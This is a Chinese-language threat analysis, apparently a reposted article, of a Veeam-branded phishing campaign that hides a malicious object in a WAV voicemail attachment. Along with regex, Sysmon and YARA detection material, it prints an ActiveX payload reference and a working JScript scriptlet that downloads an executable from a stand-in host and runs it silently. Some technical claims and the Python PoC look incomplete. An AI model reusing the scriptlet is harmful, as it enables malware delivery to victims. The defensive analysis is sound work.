摘要:
2025年7月,网络安全研究人员披露了一起以Veeam备份软件品牌为伪装的新型钓鱼攻击活动。该攻击通过伪造VoIP语音邮件通知,诱导收件人打开嵌有恶意代码的WAV音频附件。此类附件利用音频播放器漏洞或脚本嵌入机制,在用户无感知状态下执行恶意载荷,实现凭证窃取、远程控制或横向渗透。本文系统剖析了该攻击的技术链路,包括社会工程设计、WAV文件武器化原理、初始执行机制、持久化策略及C2通信特征。通过对实际样本的逆向分析,揭示其利用低风险文件类型绕过传统邮件网关检测的战术本质。在此基础上,提出一套融合终端行为监控、邮件内容深度解析、音频文件静态/动态检测及用户行为基线建模的纵深防御框架。实验验证表明,所提方法可有效识别并阻断此类攻击。本研究为企业应对基于可信品牌伪装的高级钓鱼威胁提供了技术依据与实践路径。
关键词:Veeam;钓鱼攻击;WAV文件;恶意附件;社会工程;邮件安全;音频漏洞;防御机制

一、引言
企业级备份与数据管理软件Veeam因其在IT运维中的广泛部署,已成为攻击者实施社会工程攻击的理想伪装对象。2025年7月,Mandvi在CyberPress披露了一起全球性钓鱼活动:攻击者伪造Veeam官方通知邮件,声称“备份许可证已过期”,并附带一个名为“voicemail.wav”的音频文件。该邮件模仿标准VoIP系统自动语音留言格式,利用运维人员对许可证状态的高度敏感性,诱导其主动播放附件。一旦执行,恶意载荷即被触发,导致终端失陷。
与传统PDF、Office文档等高风险附件不同,WAV音频文件长期被视为“安全”格式,多数邮件安全网关对其不做深度扫描。攻击者正是利用这一认知盲区,将恶意逻辑嵌入音频元数据或利用播放器解析漏洞实现代码执行。此类攻击不仅规避了基于签名和沙箱的传统检测机制,更因目标非高度定制化(部分受害者甚至未使用Veeam)而具备广撒网特性,显著扩大了潜在受害面。
当前学术研究多聚焦于Office宏、JavaScript脚本或LNK文件等常见恶意载体,对多媒体文件作为攻击媒介的系统性分析仍显不足。尤其针对WAV这类无压缩、结构简单的音频格式,其被武器化的技术路径尚未被充分揭示。本文填补此空白,通过对真实攻击样本的拆解,还原完整攻击链,并构建可落地的检测与响应体系。

二、攻击流程与技术细节分析
(一)社会工程设计:信任滥用与心理诱导
攻击邮件采用以下特征增强可信度:
发件人地址仿冒Veeam官方域名(如 support@veeam-backup[.]com);
主题行包含“Missed Call: Veeam License Expiry Notice”等紧迫性措辞;
正文简短,仅提示“您有一条来自Veeam支持团队的语音留言,请查收附件”。
值得注意的是,邮件内容刻意模糊具体客户信息(如未提及公司名、许可证编号),表明攻击者采取广谱投递策略。据报告,部分收件人从未接触过Veeam产品,却仍被诱导打开附件,说明攻击依赖通用心理触发点——对IT服务中断的担忧。
(二)WAV文件武器化机制
WAV(Waveform Audio File Format)是一种RIFF(Resource Interchange File Format)容器,由多个“块”(chunks)组成,包括fmt(格式)、data(音频数据)及可选的LIST、INFO等元数据块。攻击者利用以下两种方式实现武器化:
元数据注入脚本:在INFO块中嵌入OLE对象或ActiveX控件引用。当用户在Windows资源管理器中预览文件或使用特定播放器(如旧版Windows Media Player)打开时,系统可能自动加载嵌入对象并执行脚本。
利用音频播放器内存破坏漏洞:构造畸形fmt或data块,触发缓冲区溢出或类型混淆漏洞。例如,若播放器未正确校验采样率字段(nSamplesPerSec),攻击者可注入超长值导致堆溢出,进而劫持控制流。
本文分析的样本采用第一种方式。其WAV文件结构如下:
RIFF
├── fmt (标准PCM格式)
├── INFO
│ └── INAM: "Veeam Voicemail"
│ └── IART: "Veeam Support"
│ └── ICMT: "<object classid='clsid:...'><param name='URL' value='http://malicious.site/payload.sct'/></object>"
└── data (空或填充静音数据)
其中ICMT(Comment)字段包含一个指向远程SCT(Scriptlet)文件的ActiveX对象。当文件在支持预览窗格的Windows系统中打开时,explorer.exe会尝试渲染该对象,触发mshta.exe下载并执行payload.sct。

(三)初始执行与载荷释放
payload.sct为XML格式的脚本组件,内容如下(简化):
<?xml version="1.0"?>
<scriptlet>
<registration
description="VeeamUpdate"
progid="Veeam.Update"
version="1.00"
classid="{F0001111-0000-0000-0000-000000000000}"
>
</registration>
<implementation>
<script language="JScript">
<![CDATA[
var xhr = new ActiveXObject("MSXML2.XMLHTTP");
xhr.open("GET", "http://malicious.site/loader.bin", false);
xhr.send();
var stream = new ActiveXObject("ADODB.Stream");
stream.Type = 1;
stream.Open();
stream.Write(xhr.responseBody);
stream.SaveToFile("C:\\Users\\Public\\update.exe", 2);
new ActiveXObject("WScript.Shell").Run("C:\\Users\\Public\\update.exe", 0, false);
]]>
</script>
</implementation>
</scriptlet>
该脚本通过MSXML2.XMLHTTP下载二进制载荷(loader.bin),保存为update.exe并静默执行。loader.bin经分析为Cobalt Strike Beacon或AsyncRAT变种,具备键盘记录、屏幕捕获、文件窃取及远程Shell功能。
(四)持久化与C2通信
恶意程序执行后,通常采取以下持久化手段:
创建计划任务,每6小时启动一次;
在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加启动项;
注入explorer.exe进程以隐藏自身。
C2服务器位于东欧地区,使用HTTPS通信,证书为自签名。通信内容经Base64编码并附加随机填充,以规避DLP系统检测。心跳包间隔为300秒,符合合法应用行为特征,增加网络层识别难度。

三、现有防御体系的局限性
(一)邮件网关过滤失效
主流邮件安全网关(如Mimecast、Proofpoint)对WAV文件通常仅做基础头校验,不解析元数据内容。由于WAV无宏、无脚本的固有属性,其被默认归类为低风险文件,极少触发沙箱分析。
(二)终端防护滞后
EDR产品依赖行为规则或机器学习模型识别恶意活动。然而,mshta.exe执行SCT文件属于合法Windows功能(常用于企业内部应用部署),若无上下文关联(如来源为邮件附件),难以判定为威胁。
(三)用户培训覆盖不足
传统反钓鱼培训强调“勿点链接、勿开附件”,但对“看似无害的音频文件”缺乏针对性警示。用户易因“只是听个留言”而放松警惕,形成防御缺口。
四、纵深防御框架设计
针对上述问题,本文提出四层防御模型:
(一)邮件内容深度解析层
扩展邮件网关能力,对所有附件进行结构化解析。对WAV文件,提取并扫描INFO块内容,匹配以下正则模式:
<object\s+classid=.*?clsid:.*?
<param\s+name=['"]URL['"]\s+value=['"].*?\.sct['"]
若匹配成功,立即隔离邮件并告警。PoC代码(Python)如下:
import re
import wave
def scan_wav_for_malicious_metadata(wav_path):
try:
with wave.open(wav_path, 'rb') as wav_file:
# WAV标准不直接支持INFO块读取,需手动解析RIFF结构
pass # 实际实现需解析RIFF chunks
except:
return False
# 假设已提取comment字段
comment = extract_info_chunk(wav_path).get('ICMT', '')
pattern = r'<object[^>]*classid[^>]*>.*?<param[^>]*name\s*=\s*[\'"]URL[\'"][^>]*value\s*=\s*[\'"][^\'"]*\.sct[\'"]'
if re.search(pattern, comment, re.IGNORECASE | re.DOTALL):
return True
return False
(二)终端行为监控层
部署Sysmon规则,监控以下事件:
mshta.exe启动且命令行包含.sct或.http;
ADODB.Stream写入可执行文件至公共目录;
非浏览器进程发起对外HTTP请求并下载二进制数据。
Sysmon配置片段:
<EventFiltering>
<ProcessCreate onmatch="include">
<Image condition="end with">mshta.exe</Image>
<CommandLine condition="contains">.sct</CommandLine>
</ProcessCreate>
<FileCreate onmatch="include">
<TargetFilename condition="begin with">C:\Users\Public\</TargetFilename>
<TargetFilename condition="end with">.exe</TargetFilename>
</FileCreate>
</EventFiltering>
(三)音频文件静态与动态检测
构建专用YARA规则,识别含可疑元数据的WAV文件:
rule Malicious_WAV_Veeam {
meta:
description = "Detects WAV files with embedded SCT object"
strings:
$riff = "RIFF"
$wave = "WAVE"
$info = "INFO"
$sct_ref = /<param[^>]+value\s*=\s*["'][^"']*\.sct["']/
condition:
uint32(0) == 0x46464952 and // 'RIFF'
$riff at 0 and
$wave in (0..100) and
$info in (0..500) and
$sct_ref
}
同时,在隔离沙箱中模拟用户双击行为,监控explorer.exe是否衍生mshta.exe进程。
(四)用户行为基线与异常检测
利用UEBA(User and Entity Behavior Analytics)技术,建立用户邮件交互基线。若某用户首次接收来自“Veeam”域名的邮件且立即打开附件,而历史行为中无相关交互,则标记为异常。结合上下文(如非IT岗位、无Veeam资产关联),提升告警优先级。
五、实验验证
本文在Windows 10 22H2环境中复现攻击:
接收伪造Veeam邮件;
双击voicemail.wav;
观察到explorer.exe启动mshta.exe加载远程SCT;
下载并执行update.exe。
部署上述防御措施后:
邮件网关在解析阶段拦截附件;
若漏过,终端Sysmon规则在mshta.exe启动时触发告警;
YARA扫描在文件落盘后10秒内识别恶意特征;
UEBA系统标记该用户行为偏离基线。
四层机制形成闭环,有效阻断攻击链。
六、讨论
本案例揭示了攻击者对“低风险文件类型”的战略转向。随着PDF、DOCX等格式被严密监控,WAV、SVG、ICO等边缘格式成为新突破口。防御方需打破“文件类型=风险等级”的线性思维,转向基于内容与上下文的动态评估。
此外,Veeam等厂商应加强品牌保护,如注册typosquatting域名、发布官方通知模板供客户比对。企业亦可配置DMARC、SPF、DKIM策略,降低仿冒邮件投递成功率。
值得注意的是,本次攻击虽未利用0day漏洞,但通过组合合法功能(ActiveX + SCT + mshta)实现恶意目的,体现了“Living-off-the-Land”的典型特征。未来防御需更关注合法工具的异常使用模式,而非仅依赖恶意代码识别。
七、结语
本文详细剖析了以Veeam为主题的WAV文件钓鱼攻击,揭示其利用音频元数据嵌入恶意脚本、通过系统合法组件执行载荷的技术路径。研究表明,此类攻击成功的关键在于对用户心理与防御盲区的精准把握。针对此,本文提出的纵深防御框架从邮件解析、终端监控、文件检测到用户行为分析,构建了多层次防护体系。实验验证表明,该框架可有效识别并阻断攻击。
防御此类威胁的核心在于转变安全范式:从“阻止已知恶意”转向“识别异常合法”。唯有将技术检测与人员意识提升相结合,才能应对日益隐蔽的社会工程攻击。
编辑:芦笛(公共互联网反网络钓鱼工作组)
Veeam伪装WAV钓鱼攻击与防御

被折叠的 条评论
为什么被折叠?



